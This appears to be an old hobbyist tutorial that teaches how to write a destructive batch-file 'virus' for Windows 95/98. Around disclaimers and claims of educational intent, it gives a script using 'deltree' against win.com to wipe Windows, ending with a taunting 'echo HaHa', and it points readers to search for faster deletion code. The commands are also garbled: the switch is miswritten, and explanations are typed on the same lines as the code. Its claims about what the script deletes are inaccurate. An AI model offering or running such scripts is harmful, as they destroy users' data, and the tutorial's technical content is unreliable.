Note: Do not use the following tutorial for destructive, malicious, or down right bad-purposes. I am not responsible for your actions.

Many crackers write there virii using .bat files which can do some major damage for those of you who use Windows 95 or 98. The following .bat code is the code to delete windows and other important settings/files on your computer. Windows XP requires different code for this type of virus and is more difficult to write.

.bat files are executed through DOS (Disk Operating System)
You can use virtually any command you use in DOS for Batch programs.
To write Batch programs for Windows 95/98, all you need is access to Notepad and MS-DOS.

I.
First we will begin with the echo, clear, and pause commands:
1.Open notepad
2. Type:

echo off -this will turn off the c://windows/whatever thing
cls -clears the screen
echo I promise I will not use this tutorial for destructive/malicious purposes. -displays that message
pause -pauses the screen until you press Enter

3. Now save the program as First.bat
4.Open MS-DOS
5.Open First.bat from MS-DOS
6. Voila!

II.
Now for the deltree commands:

1.Open notepad
2.Type:

echo off -this will turn off the c://windows/whatever thing
cls -clears the screen
deltree y/ win.com -this command deletes windows and all of its components
echo HaHa
pause

3. If you are running Windows 95/98, DO NOT EXECUTE THIS PROGRAM! YOU WILL BE SORRY YOU EVER DID1!

OK, I think you get the idea that pretty much you can destroy some poor guys computer (which I know you won't). It would be a waste of time because it takes a long, long, long time to delete everything in windows. There is code to speed up the process, but I am not going to tell you, sorry; use google to help you find the code.

This tutorial was written to help others understand virii a little better and hopefully it will enlighten and educate them more about crackers and why not to become one.

My source: Lame Industries

Extra reminder: The deltree /y command should never be used against anyone else.

For those who are going to flame me: I am a uberhacker not a black hat, not a cracker, nor a lamer. I have never used any .bat file that includes the del or deltree command and don't plan to. I wrote this for pure educational purposes.

By the way, more tuts. to come